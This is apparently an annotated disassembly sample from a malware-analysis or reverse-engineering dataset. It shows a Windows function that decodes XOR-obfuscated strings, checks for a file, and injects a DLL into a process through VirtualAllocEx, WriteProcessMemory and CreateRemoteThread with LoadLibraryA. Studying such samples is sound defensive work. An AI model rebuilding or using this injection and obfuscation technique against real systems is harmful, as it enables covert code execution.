Function at 0x140002184
Capabilities:
Check if file exists
Create thread
Encode data using xor
Inject thread
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rbp + 0x30], rax
xor esi, esi
mov dword [rsp + 0x60], esi
lea rdx, [0x140002178]
lea ecx, [rsi + 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_signal]
movups xmm0, xmmword [str.v_fknAfmUE_Q]
movups xmmword [rsp + 0x70], xmm0
movsd xmm1, qword [0x140005780]
movsd qword [rbp - 0x80], xmm1
movzx eax, word [0x140005788]
mov word [rbp - 0x78], ax
mov r15d, 0x3521cfb3
mov r12b, 0x35
lea ebx, [rsi + 1]
cmp byte [0x140005789], sil
je 0x140002236
mov edi, esi
lea r8, [rsp + 0x70]
mov eax, r15d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r12b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0x1a
jl 0x14000220b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x70]
or r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x140002251
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.140003308
nop
movups xmm0, xmmword [str.v_fknAfmUE_Qm]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x1400057d8]
mov dword [rbp - 0x80], eax
mov al, byte [0x1400057dc]
mov byte [rbp - 0x7c], al
mov edi, esi
lea r8, [rsp + 0x70]
mov eax, r15d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r12b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0x15
jl 0x14000228e
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rsp + 0x70]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x1400022d0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10]
call fcn.140003308
nop
movups xmm0, xmmword [str.v_fkhKUNS]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400056b8]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400056c8]
movups xmmword [rbp - 0x50], xmm0
movsd xmm1, qword [0x1400056d8]
movsd qword [rbp - 0x40], xmm1
mov eax, dword [0x1400056e0]
mov dword [rbp - 0x38], eax
mov al, byte [0x1400056e4]
mov byte [rbp - 0x34], al
mov edi, esi
lea r8, [rbp - 0x70]
mov eax, r15d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r12b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0x3d
jl 0x14000232e
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
lea rax, [rbp - 0x70]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x14000236f
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x10]
call fcn.140003308
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov r15, qword [rbp]
lea r12, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r12, qword [rbp - 0x10]
call fcn.140003904
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov edx, 7
mov qword [rsp + 0x58], rdx
mov word [rsp + 0x40], si
mov dword [rsp + 0x60], 4
test r15, r15
je 0x1400024c7
cmp r15, 0x7fffffff
jbe 0x1400023e6
call fcn.1400015c0
int3
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8d, r15d
mov rdx, r12
mov ecx, r13d
call fcn.14000392c
mov rbx, rax
shr rax, 0x20
test eax, eax
je 0x14000240e
mov ecx, eax
call fcn.140001818
int3
movsxd rcx, ebx
mov r8, qword [rsp + 0x50]
cmp rcx, r8
ja 0x140002437
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rcx
mov word [rax + rcx*2], si
jmp 0x14000248a
mov rdx, rcx
sub rdx, r8
mov rax, qword [rsp + 0x58]
sub rax, r8
cmp rdx, rax
ja 0x14000247d
mov qword [rsp + 0x50], rcx
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140002472
movzx eax, si
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], si
jmp 0x14000248a
mov r9, rdx
lea rcx, [rsp + 0x40]
call fcn.1400033f8
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, r15d
mov rdx, r12
mov ecx, r13d
call fcn.14000392c
shr rax, 0x20
test eax, eax
je 0x1400024bd
mov ecx, eax
call fcn.140001818
int3
mov rdx, qword [rsp + 0x58]
mov ebx, 1
lea rcx, [rsp + 0x40]
cmp rdx, 8
cmovae rcx, qword [rsp + 0x40]
or r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x70]
call fcn.140003a40
mov edx, eax
test eax, eax
jne 0x140002521
mov ecx, dword [rbp - 0x60]
bt ecx, 0xa
jae 0x140002516
cmp dword [rbp - 0x5c], 0xa000000c
jne 0x140002506
lea ecx, [rax + 4]
jmp 0x140002539
cmp dword [rbp - 0x5c], 0xa0000003
jne 0x140002516
mov ecx, 0xa
jmp 0x140002539
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x140002539
sub eax, 2
je 0x140002537
sub eax, 1
je 0x140002537
sub eax, 0x32
je 0x140002537
cmp eax, 0x46
mov ecx, esi
jne 0x140002539
mov ecx, ebx
mov dword [rsp + 0x70], edx
lea rax, [0x140008050]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
test ecx, ecx
je 0x1400025f2
cmp ecx, ebx
sete dil
lea rcx, [rsp + 0x40]
call fcn.1400029e4
lea r8, [rbp - 0x70]
mov r12d, 0x3521cfb3
mov r13b, 0x35
test dil, dil
mov edi, esi
je 0x14000260d
movups xmm0, xmmword [0x140005708]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140005718]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140005728]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140005738]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14000573c]
mov word [rbp - 0x3c], ax
mov al, byte [0x14000573e]
mov byte [rbp - 0x3a], al
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r13b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0x37
jl 0x1400025c2
jmp 0x140002676
mov dil, bl
test edx, edx
je 0x140002562
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x70]
call fcn.140001e70
nop
movups xmm0, xmmword [0x140005608]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140005618]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140005628]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140005638]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14000563c]
mov word [rbp - 0x3c], ax
mov al, byte [0x14000563e]
mov byte [rbp - 0x3a], al
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r13b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0x37
jl 0x14000264b
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, [rbp - 0x70]
mov rcx, rax
call fcn.140001008
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movups xmm0, xmmword [str.vR_R__]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x140005808]
mov dword [rbp - 0x80], eax
movzx eax, word [0x14000580c]
mov word [rbp - 0x7c], ax
mov al, byte [0x14000580e]
mov byte [rbp - 0x7a], al
mov edi, esi
lea r8, [rsp + 0x70]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r13b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0x17
jl 0x1400026d1
lea rcx, [rsp + 0x70]
call fcn.14000104c
movups xmm0, xmmword [str.qSQQW__]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x140005698]
mov dword [rbp - 0x80], eax
mov al, byte [0x14000569c]
mov byte [rbp - 0x7c], al
mov edi, esi
lea r8, [rsp + 0x70]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r13b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0x15
jl 0x14000272b
lea rcx, [rsp + 0x70]
call fcn.14000104c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r15d, eax
movsd xmm0, qword [str.eDX_]
movsd qword [rsp + 0x70], xmm0
movzx ecx, word [0x1400055e8]
mov word [rsp + 0x78], cx
cmp byte [0x1400055e9], sil
je 0x1400027be
mov edi, esi
lea r8, [rsp + 0x70]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r13b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0xa
jl 0x140002793
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.140001008
mov edx, r15d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140003020]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rbx, qword [rbp - 0x30]
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, r14
je 0x1400028f1
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov r9, r14
inc r9
cmp byte [rbx + r9], sil
jne 0x140002845
inc r9
mov qword [rsp + 0x20], rsi
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
test eax, eax
jne 0x140002874
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400028f1
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r15
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r12, rax
test rax, rax
jne 0x1400028bd
inc r14
cmp byte [rbx + r14], sil
jne 0x14000289c
lea rdx, [r14 + 1]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
jmp 0x1400028e5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r14
cmp byte [rbx + r14], sil
jne 0x1400028c6
lea rdx, [r14 + 1]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12d, 0x3521cfb3
movsd xmm0, qword [str.tBC_TJOYY]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140005700]
mov dword [rsp + 0x78], eax
cmp byte [0x140005703], sil
je 0x140002944
mov edi, esi
lea r8, [rsp + 0x70]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, dil
sub al, cl
add al, r13b
xor byte [r8], al
inc edi
inc r8
cmp edi, 0xc
jl 0x140002919
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.140001008
mov ecx, 0x1f40
jmp 0x140002968
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001ec8
cmp eax, 2
jge 0x140002963
lea rdx, [rsp + 0x60]
call fcn.1400029cc
mov rdi, rax
cmp byte [rax + 5], sil
je 0x1400029b9
mov r8, rax
mov eax, r12d
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
movsx eax, cl
imul ecx, eax, 0x35
mov al, sil
sub al, cl
add al, r13b
xor byte [r8], al
inc esi
inc r8
cmp esi, 6
jl 0x14000298e
mov rcx, rdi
call fcn.14000104c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3